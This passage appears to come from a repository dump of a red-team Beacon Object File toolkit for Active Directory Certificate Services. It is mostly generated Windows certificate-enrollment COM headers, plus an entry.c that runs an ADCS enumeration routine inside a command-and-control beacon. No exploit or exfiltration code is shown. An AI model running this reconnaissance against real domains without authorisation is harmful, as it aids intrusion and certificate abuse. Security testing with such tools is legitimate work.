IX509MachineEnrollmentFactory_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509MachineEnrollmentFactory_CreateObject(This,strProgID,ppIHelper)\t\\\n    ( (This)->lpVtbl -> CreateObject(This,strProgID,ppIHelper) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509MachineEnrollmentFactory_INTERFACE_DEFINED__ */\n\n\n\n#ifndef __CERTENROLLLib_LIBRARY_DEFINED__\n#define __CERTENROLLLib_LIBRARY_DEFINED__\n\n/* library CERTENROLLLib */\n/* [helpstring][version][uuid] */ \n\ntypedef \nenum X509CertificateTemplateGeneralFlag\n    {\tGeneralMachineType\t= 0x40,\n\tGeneralCA\t= 0x80,\n\tGeneralCrossCA\t= 0x800,\n\tGeneralDefault\t= 0x10000,\n\tGeneralModified\t= 0x20000,\n\tGeneralDonotPersist\t= 0x1000\n    } \tX509CertificateTemplateGeneralFlag;\n\ntypedef \nenum X509CertificateTemplateEnrollmentFlag\n    {\tEnrollmentIncludeSymmetricAlgorithms\t= 0x1,\n\tEnrollmentPendAllRequests\t= 0x2,\n\tEnrollmentPublishToKRAContainer\t= 0x4,\n\tEnrollmentPublishToDS\t= 0x8,\n\tEnrollmentAutoEnrollmentCheckUserDSCertificate\t= 0x10,\n\tEnrollmentAutoEnrollment\t= 0x20,\n\tEnrollmentDomainAuthenticationNotRequired\t= 0x80,\n\tEnrollmentPreviousApprovalValidateReenrollment\t= 0x40,\n\tEnrollmentUserInteractionRequired\t= 0x100,\n\tEnrollmentAddTemplateName\t= 0x200,\n\tEnrollmentRemoveInvalidCertificateFromPersonalStore\t= 0x400,\n\tEnrollmentAllowEnrollOnBehalfOf\t= 0x800,\n\tEnrollmentAddOCSPNoCheck\t= 0x1000,\n\tEnrollmentReuseKeyOnFullSmartCard\t= 0x2000,\n\tEnrollmentNoRevocationInfoInCerts\t= 0x4000,\n\tEnrollmentIncludeBasicConstraintsForEECerts\t= 0x8000\n    } \tX509CertificateTemplateEnrollmentFlag;\n\ntypedef \nenum X509CertificateTemplateSubjectNameFlag\n    {\tSubjectNameEnrolleeSupplies\t= 0x1,\n\tSubjectNameRequireDirectoryPath\t= 0x80000000,\n\tSubjectNameRequireCommonName\t= 0x40000000,\n\tSubjectNameRequireEmail\t= 0x20000000,\n\tSubjectNameRequireDNS\t= 0x10000000,\n\tSubjectNameAndAlternativeNameOldCertSupplies\t= 0x8,\n\tSubjectAlternativeNameEnrolleeSupplies\t= 0x10000,\n\tSubjectAlternativeNameRequireDirectoryGUID\t= 0x1000000,\n\tSubjectAlternativeNameRequireUPN\t= 0x2000000,\n\tSubjectAlternativeNameRequireEmail\t= 0x4000000,\n\tSubjectAlternativeNameRequireSPN\t= 0x800000,\n\tSubjectAlternativeNameRequireDNS\t= 0x8000000,\n\tSubjectAlternativeNameRequireDomainDNS\t= 0x400000\n    } \tX509CertificateTemplateSubjectNameFlag;\n\ntypedef \nenum X509CertificateTemplatePrivateKeyFlag\n    {\tPrivateKeyRequireArchival\t= 0x1,\n\tPrivateKeyExportable\t= 0x10,\n\tPrivateKeyRequireStrongKeyProtection\t= 0x20,\n\tPrivateKeyRequireAlternateSignatureAlgorithm\t= 0x40\n    } \tX509CertificateTemplatePrivateKeyFlag;\n\n\nEXTERN_C const IID LIBID_CERTENROLLLib;\n\nEXTERN_C const CLSID CLSID_CObjectId;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2000-217d-11da-b2a4-000e7bbb2b09\")\nCObjectId;\n#endif\n\nEXTERN_C const CLSID CLSID_CObjectIds;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2001-217d-11da-b2a4-000e7bbb2b09\")\nCObjectIds;\n#endif\n\nEXTERN_C const CLSID CLSID_CBinaryConverter;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2002-217d-11da-b2a4-000e7bbb2b09\")\nCBinaryConverter;\n#endif\n\nEXTERN_C const CLSID CLSID_CX500DistinguishedName;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2003-217d-11da-b2a4-000e7bbb2b09\")\nCX500DistinguishedName;\n#endif\n\nEXTERN_C const CLSID CLSID_CCspInformation;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2007-217d-11da-b2a4-000e7bbb2b09\")\nCCspInformation;\n#endif\n\nEXTERN_C const CLSID CLSID_CCspInformations;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2008-217d-11da-b2a4-000e7bbb2b09\")\nCCspInformations;\n#endif\n\nEXTERN_C const CLSID CLSID_CCspStatus;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2009-217d-11da-b2a4-000e7bbb2b09\")\nCCspStatus;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509PublicKey;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e200b-217d-11da-b2a4-000e7bbb2b09\")\nCX509PublicKey;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509PrivateKey;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e200c-217d-11da-b2a4-000e7bbb2b09\")\nCX509PrivateKey;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509Extension;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e200d-217d-11da-b2a4-000e7bbb2b09\")\nCX509Extension;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509Extensions;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e200e-217d-11da-b2a4-000e7bbb2b09\")\nCX509Extensions;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509ExtensionKeyUsage;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e200f-217d-11da-b2a4-000e7bbb2b09\")\nCX509ExtensionKeyUsage;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509ExtensionEnhancedKeyUsage;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2010-217d-11da-b2a4-000e7bbb2b09\")\nCX509ExtensionEnhancedKeyUsage;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509ExtensionTemplateName;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2011-217d-11da-b2a4-000e7bbb2b09\")\nCX509ExtensionTemplateName;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509ExtensionTemplate;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2012-217d-11da-b2a4-000e7bbb2b09\")\nCX509ExtensionTemplate;\n#endif\n\nEXTERN_C const CLSID CLSID_CAlternativeName;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2013-217d-11da-b2a4-000e7bbb2b09\")\nCAlternativeName;\n#endif\n\nEXTERN_C const CLSID CLSID_CAlternativeNames;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2014-217d-11da-b2a4-000e7bbb2b09\")\nCAlternativeNames;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509ExtensionAlternativeNames;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2015-217d-11da-b2a4-000e7bbb2b09\")\nCX509ExtensionAlternativeNames;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509ExtensionBasicConstraints;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2016-217d-11da-b2a4-000e7bbb2b09\")\nCX509ExtensionBasicConstraints;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509ExtensionSubjectKeyIdentifier;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2017-217d-11da-b2a4-000e7bbb2b09\")\nCX509ExtensionSubjectKeyIdentifier;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509ExtensionAuthorityKeyIdentifier;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2018-217d-11da-b2a4-000e7bbb2b09\")\nCX509ExtensionAuthorityKeyIdentifier;\n#endif\n\nEXTERN_C const CLSID CLSID_CSmimeCapability;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2019-217d-11da-b2a4-000e7bbb2b09\")\nCSmimeCapability;\n#endif\n\nEXTERN_C const CLSID CLSID_CSmimeCapabilities;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e201a-217d-11da-b2a4-000e7bbb2b09\")\nCSmimeCapabilities;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509ExtensionSmimeCapabilities;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e201b-217d-11da-b2a4-000e7bbb2b09\")\nCX509ExtensionSmimeCapabilities;\n#endif\n\nEXTERN_C const CLSID CLSID_CPolicyQualifier;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e201c-217d-11da-b2a4-000e7bbb2b09\")\nCPolicyQualifier;\n#endif\n\nEXTERN_C const CLSID CLSID_CPolicyQualifiers;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e201d-217d-11da-b2a4-000e7bbb2b09\")\nCPolicyQualifiers;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertificatePolicy;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e201e-217d-11da-b2a4-000e7bbb2b09\")\nCCertificatePolicy;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertificatePolicies;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e201f-217d-11da-b2a4-000e7bbb2b09\")\nCCertificatePolicies;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509ExtensionCertificatePolicies;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2020-217d-11da-b2a4-000e7bbb2b09\")\nCX509ExtensionCertificatePolicies;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509ExtensionMSApplicationPolicies;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2021-217d-11da-b2a4-000e7bbb2b09\")\nCX509ExtensionMSApplicationPolicies;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509Attribute;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2022-217d-11da-b2a4-000e7bbb2b09\")\nCX509Attribute;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509Attributes;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2023-217d-11da-b2a4-000e7bbb2b09\")\nCX509Attributes;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509AttributeExtensions;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2024-217d-11da-b2a4-000e7bbb2b09\")\nCX509AttributeExtensions;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509AttributeClientId;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2025-217d-11da-b2a4-000e7bbb2b09\")\nCX509AttributeClientId;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509AttributeRenewalCertificate;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2026-217d-11da-b2a4-000e7bbb2b09\")\nCX509AttributeRenewalCertificate;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509AttributeArchiveKey;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2027-217d-11da-b2a4-000e7bbb2b09\")\nCX509AttributeArchiveKey;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509AttributeArchiveKeyHash;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2028-217d-11da-b2a4-000e7bbb2b09\")\nCX509AttributeArchiveKeyHash;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509AttributeOSVersion;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e202a-217d-11da-b2a4-000e7bbb2b09\")\nCX509AttributeOSVersion;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509AttributeCspProvider;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e202b-217d-11da-b2a4-000e7bbb2b09\")\nCX509AttributeCspProvider;\n#endif\n\nEXTERN_C const CLSID CLSID_CCryptAttribute;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e202c-217d-11da-b2a4-000e7bbb2b09\")\nCCryptAttribute;\n#endif\n\nEXTERN_C const CLSID CLSID_CCryptAttributes;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e202d-217d-11da-b2a4-000e7bbb2b09\")\nCCryptAttributes;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertProperty;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e202e-217d-11da-b2a4-000e7bbb2b09\")\nCCertProperty;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertProperties;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e202f-217d-11da-b2a4-000e7bbb2b09\")\nCCertProperties;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertPropertyFriendlyName;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2030-217d-11da-b2a4-000e7bbb2b09\")\nCCertPropertyFriendlyName;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertPropertyDescription;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2031-217d-11da-b2a4-000e7bbb2b09\")\nCCertPropertyDescription;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertPropertyAutoEnroll;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2032-217d-11da-b2a4-000e7bbb2b09\")\nCCertPropertyAutoEnroll;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertPropertyRequestOriginator;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2033-217d-11da-b2a4-000e7bbb2b09\")\nCCertPropertyRequestOriginator;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertPropertySHA1Hash;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2034-217d-11da-b2a4-000e7bbb2b09\")\nCCertPropertySHA1Hash;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertPropertyKeyProvInfo;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2036-217d-11da-b2a4-000e7bbb2b09\")\nCCertPropertyKeyProvInfo;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertPropertyArchived;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2037-217d-11da-b2a4-000e7bbb2b09\")\nCCertPropertyArchived;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertPropertyBackedUp;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2038-217d-11da-b2a4-000e7bbb2b09\")\nCCertPropertyBackedUp;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertPropertyEnrollment;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2039-217d-11da-b2a4-000e7bbb2b09\")\nCCertPropertyEnrollment;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertPropertyRenewal;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e203a-217d-11da-b2a4-000e7bbb2b09\")\nCCertPropertyRenewal;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertPropertyArchivedKeyHash;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e203b-217d-11da-b2a4-000e7bbb2b09\")\nCCertPropertyArchivedKeyHash;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertPropertyEnrollmentPolicyServer;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e204c-217d-11da-b2a4-000e7bbb2b09\")\nCCertPropertyEnrollmentPolicyServer;\n#endif\n\nEXTERN_C const CLSID CLSID_CSignerCertificate;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e203d-217d-11da-b2a4-000e7bbb2b09\")\nCSignerCertificate;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509NameValuePair;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e203f-217d-11da-b2a4-000e7bbb2b09\")\nCX509NameValuePair;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509CertificateRequestPkcs10;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2042-217d-11da-b2a4-000e7bbb2b09\")\nCX509CertificateRequestPkcs10;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509CertificateRequestCertificate;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2043-217d-11da-b2a4-000e7bbb2b09\")\nCX509CertificateRequestCertificate;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509CertificateRequestPkcs7;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2044-217d-11da-b2a4-000e7bbb2b09\")\nCX509CertificateRequestPkcs7;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509CertificateRequestCmc;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2045-217d-11da-b2a4-000e7bbb2b09\")\nCX509CertificateRequestCmc;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509Enrollment;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2046-217d-11da-b2a4-000e7bbb2b09\")\nCX509Enrollment;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509EnrollmentWebClassFactory;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2049-217d-11da-b2a4-000e7bbb2b09\")\nCX509EnrollmentWebClassFactory;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509EnrollmentHelper;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2050-217d-11da-b2a4-000e7bbb2b09\")\nCX509EnrollmentHelper;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509MachineEnrollmentFactory;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2051-217d-11da-b2a4-000e7bbb2b09\")\nCX509MachineEnrollmentFactory;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509EnrollmentPolicyActiveDirectory;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"91f39027-217f-11da-b2a4-000e7bbb2b09\")\nCX509EnrollmentPolicyActiveDirectory;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509EnrollmentPolicyWebService;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"91f39028-217f-11da-b2a4-000e7bbb2b09\")\nCX509EnrollmentPolicyWebService;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509PolicyServerListManager;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"91f39029-217f-11da-b2a4-000e7bbb2b09\")\nCX509PolicyServerListManager;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509PolicyServerUrl;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"91f3902a-217f-11da-b2a4-000e7bbb2b09\")\nCX509PolicyServerUrl;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509CertificateTemplateADWritable;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"8336E323-2E6A-4a04-937C-548F681839B3\")\nCX509CertificateTemplateADWritable;\n#endif\n#endif /* __CERTENROLLLib_LIBRARY_DEFINED__ */\n\n/* Additional Prototypes for ALL interfaces */\n\nunsigned long             __RPC_USER  BSTR_UserSize(     __RPC__in unsigned long *, unsigned long            , __RPC__in BSTR * ); \nunsigned char * __RPC_USER  BSTR_UserMarshal(  __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in BSTR * ); \nunsigned char * __RPC_USER  BSTR_UserUnmarshal(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out BSTR * ); \nvoid                      __RPC_USER  BSTR_UserFree(     __RPC__in unsigned long *, __RPC__in BSTR * ); \n\nunsigned long             __RPC_USER  VARIANT_UserSize(     __RPC__in unsigned long *, unsigned long            , __RPC__in VARIANT * ); \nunsigned char * __RPC_USER  VARIANT_UserMarshal(  __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in VARIANT * ); \nunsigned char * __RPC_USER  VARIANT_UserUnmarshal(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out VARIANT * ); \nvoid                      __RPC_USER  VARIANT_UserFree(     __RPC__in unsigned long *, __RPC__in VARIANT * ); \n\nunsigned long             __RPC_USER  BSTR_UserSize64(     __RPC__in unsigned long *, unsigned long            , __RPC__in BSTR * ); \nunsigned char * __RPC_USER  BSTR_UserMarshal64(  __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in BSTR * ); \nunsigned char * __RPC_USER  BSTR_UserUnmarshal64(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out BSTR * ); \nvoid                      __RPC_USER  BSTR_UserFree64(     __RPC__in unsigned long *, __RPC__in BSTR * ); \n\nunsigned long             __RPC_USER  VARIANT_UserSize64(     __RPC__in unsigned long *, unsigned long            , __RPC__in VARIANT * ); \nunsigned char * __RPC_USER  VARIANT_UserMarshal64(  __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in VARIANT * ); \nunsigned char * __RPC_USER  VARIANT_UserUnmarshal64(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out VARIANT * ); \nvoid                      __RPC_USER  VARIANT_UserFree64(     __RPC__in unsigned long *, __RPC__in VARIANT * ); \n\n/* end of Additional Prototypes */\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n\n\n\n"
  },
  {
    "path": "AD-BOF/ADCS-BOF/src/enum/entry.c",
    "content": "#include <windows.h>\n#include <stdio.h>\n#define DYNAMIC_LIB_COUNT 4\n#include \"beacon.h\"\n#include \"bofdefs.h\"\n#include \"base.c\"\n#include \"adcs_enum_com2.c\"\n\n\n#ifdef BOF\nVOID go(\n\tIN PCHAR Buffer,\n\tIN ULONG Length\n)\n{\n\tHRESULT hr = S_OK;\n\tdatap parser;\n\twchar_t * pwszServer = NULL;\n\twchar_t * pwszNameSpace = NULL;\t\n\twchar_t * pwszQuery = NULL;\n    \n\tif (!bofstart())\n\t{\n\t\treturn;\n\t}\n\n\tBeaconDataParse(&parser, Buffer, Length);\n\t\n\thr = adcs_enum_com2();\n\n\tif (S_OK != hr)\n\t{\n\t\tBeaconPrintf(CALLBACK_ERROR, \"adcs_enum_com2 failed: 0x%08lx\\n\", hr);\n\t}\n\n\tinternal_printf(\"\\nadcs_enum_com2 SUCCESS.\\n\");\n\n\tprintoutput(TRUE);\n};\n#else\nint main(int argc, char ** argv)\n{\n\tHRESULT hr = S_OK;\n\n\thr = adcs_enum_com2();\n\n\tif (S_OK != hr)\n\t{\n\t\tBeaconPrintf(CALLBACK_ERROR, \"adcs_enum_com2 failed: 0x%08lx\\n\", hr);\n\t}\n\n\tinternal_printf(\"\\nadcs_enum_com2 SUCCESS.\\n\");\n\t\n\treturn 0;\n}\n#endif\n\n\t\n\n\n\n\n"
  },
  {
    "path": "AD-BOF/ADCS-BOF/src/request/CertCli.h",
    "content": "\n\n/* this ALWAYS GENERATED file contains the definitions for the interfaces */\n\n\n /* File created by MIDL compiler version 8.01.0622 */\n/* @@MIDL_FILE_HEADING(  ) */\n\n\n\n/* verify that the <rpcndr.h> version is high enough to compile this file*/\n#ifndef __REQUIRED_RPCNDR_H_VERSION__\n#define __REQUIRED_RPCNDR_H_VERSION__ 500\n#endif\n\n/* verify that the <rpcsal.h> version is high enough to compile this file*/\n#ifndef __REQUIRED_RPCSAL_H_VERSION__\n#define __REQUIRED_RPCSAL_H_VERSION__ 100\n#endif\n\n#include \"rpc.h\"\n#include \"rpcndr.h\"\n\n#ifndef __RPCNDR_H_VERSION__\n#error this stub requires an updated version of <rpcndr.h>\n#endif /* __RPCNDR_H_VERSION__ */\n\n#ifndef COM_NO_WINDOWS_H\n#include \"windows.h\"\n#include \"ole2.h\"\n#endif /*COM_NO_WINDOWS_H*/\n\n#ifndef __certcli_h__\n#define __certcli_h__\n\n#if defined(_MSC_VER) && (_MSC_VER >= 1020)\n#pragma once\n#endif\n\n/* Forward Declarations */ \n\n#ifndef __ICertGetConfig_FWD_DEFINED__\n#define __ICertGetConfig_FWD_DEFINED__\ntypedef interface ICertGetConfig ICertGetConfig;\n\n#endif \t/* __ICertGetConfig_FWD_DEFINED__ */\n\n\n#ifndef __ICertConfig_FWD_DEFINED__\n#define __ICertConfig_FWD_DEFINED__\ntypedef interface ICertConfig ICertConfig;\n\n#endif \t/* __ICertConfig_FWD_DEFINED__ */\n\n\n#ifndef __ICertConfig2_FWD_DEFINED__\n#define __ICertConfig2_FWD_DEFINED__\ntypedef interface ICertConfig2 ICertConfig2;\n\n#endif \t/* __ICertConfig2_FWD_DEFINED__ */\n\n\n#ifndef __ICertRequest_FWD_DEFINED__\n#define __ICertRequest_FWD_DEFINED__\ntypedef interface ICertRequest ICertRequest;\n\n#endif \t/* __ICertRequest_FWD_DEFINED__ */\n\n\n#ifndef __ICertRequest2_FWD_DEFINED__\n#define __ICertRequest2_FWD_DEFINED__\ntypedef interface ICertRequest2 ICertRequest2;\n\n#endif \t/* __ICertRequest2_FWD_DEFINED__ */\n\n\n#ifndef __ICertRequest3_FWD_DEFINED__\n#define __ICertRequest3_FWD_DEFINED__\ntypedef interface ICertRequest3 ICertRequest3;\n\n#endif \t/* __ICertRequest3_FWD_DEFINED__ */\n\n\n#ifndef __CCertGetConfig_FWD_DEFINED__\n#define __CCertGetConfig_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertGetConfig CCertGetConfig;\n#else\ntypedef struct CCertGetConfig CCertGetConfig;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertGetConfig_FWD_DEFINED__ */\n\n\n#ifndef __CCertConfig_FWD_DEFINED__\n#define __CCertConfig_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertConfig CCertConfig;\n#else\ntypedef struct CCertConfig CCertConfig;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertConfig_FWD_DEFINED__ */\n\n\n#ifndef __CCertRequest_FWD_DEFINED__\n#define __CCertRequest_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertRequest CCertRequest;\n#else\ntypedef struct CCertRequest CCertRequest;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertRequest_FWD_DEFINED__ */\n\n\n#ifndef __CCertServerPolicy_FWD_DEFINED__\n#define __CCertServerPolicy_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertServerPolicy CCertServerPolicy;\n#else\ntypedef struct CCertServerPolicy CCertServerPolicy;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertServerPolicy_FWD_DEFINED__ */\n\n\n#ifndef __CCertServerExit_FWD_DEFINED__\n#define __CCertServerExit_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertServerExit CCertServerExit;\n#else\ntypedef struct CCertServerExit CCertServerExit;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertServerExit_FWD_DEFINED__ */\n\n\n/* header files for imported files */\n#include \"wtypes.h\"\n#include \"certif.h\"\n\n#ifdef __cplusplus\nextern \"C\"{\n#endif \n\n\n/* interface __MIDL_itf_certcli_0000_0000 */\n/* [local] */ \n\n#include <winapifamily.h>\n#pragma region Desktop Family\n#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certcli_0000_0000_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certcli_0000_0000_v0_0_s_ifspec;\n\n#ifndef __ICertGetConfig_INTERFACE_DEFINED__\n#define __ICertGetConfig_INTERFACE_DEFINED__\n\n/* interface ICertGetConfig */\n/* [unique][helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertGetConfig;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"c7ea09c0-ce17-11d0-8833-00a0c903b83c\")\n    ICertGetConfig : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE GetConfig( \n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrOut) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertGetConfigVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertGetConfig * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertGetConfig * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertGetConfig * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertGetConfig * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertGetConfig * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in 